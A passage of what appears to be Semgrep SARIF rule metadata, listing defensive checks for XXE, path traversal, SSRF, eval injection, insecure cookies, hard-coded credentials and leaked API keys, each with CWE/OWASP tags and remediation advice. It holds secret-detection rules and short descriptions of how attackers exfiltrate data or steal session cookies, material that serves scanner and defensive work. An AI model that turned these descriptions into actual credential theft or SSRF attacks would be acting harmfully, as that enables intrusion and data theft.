`$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express)\n - [https://github.com/jprichardson/node-fs-extra/tree/master](https://github.com/jprichardson/node-fs-extra/tree/master)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express","id":"javascript.express.file.fs-extra-express.fs-extra-express","name":"javascript.express.file.fs-extra-express.fs-extra-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-extra-express.fs-extra-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher","id":"kotlin.lang.security.ecb-cipher.ecb-cipher","name":"kotlin.lang.security.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"help":{"markdown":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","id":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","name":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.spawn-shell-true.spawn-shell-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"help":{"markdown":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode)\n","text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"help":{"markdown":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","id":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","name":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"help":{"markdown":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"helpUri":"https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format","id":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","name":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.flask-api-method-string-format.flask-api-method-string-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","id":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","name":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host","id":"python.flask.security.injection.tainted-url-host.tainted-url-host","name":"python.flask.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.playframework.com/documentation/2.8.x/ScalaWS](https://www.playframework.com/documentation/2.8.x/ScalaWS)\n","text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf","id":"scala.play.security.webservice-ssrf.webservice-ssrf","name":"scala.play.security.webservice-ssrf.webservice-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.webservice-ssrf.webservice-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"MailChimp API Key detected"},"help":{"markdown":"MailChimp API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"MailChimp API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","id":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","name":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec","id":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","name":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-code-exec.tainted-code-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","id":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","name":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"help":{"markdown":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find)\n - [https://brakemanscanner.org/docs/warning_types/unscoped_find/](https://brakemanscanner.org/docs/warning_types/unscoped_find/)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb)\n","text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","id":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","name":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","properties":{"precision":"very-high","tags":["CWE-639: Authorization Bypass Through User-Controlled Key","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","id":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","name":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request)\n - [https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html](https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html)\n","text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"help":{"markdown":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie](https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options](https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options)\n","text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie","id":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","name":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.secure-set-cookie.secure-set-cookie"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password","id":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","name":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-empty-password.ssh-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"help":{"markdown":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure)\n - [https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/](https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/)\n","text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure","id":"go.lang.security.audit.net.pprof.pprof-debug-exposure","name":"go.lang.security.audit.net.pprof.pprof-debug-exposure","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: 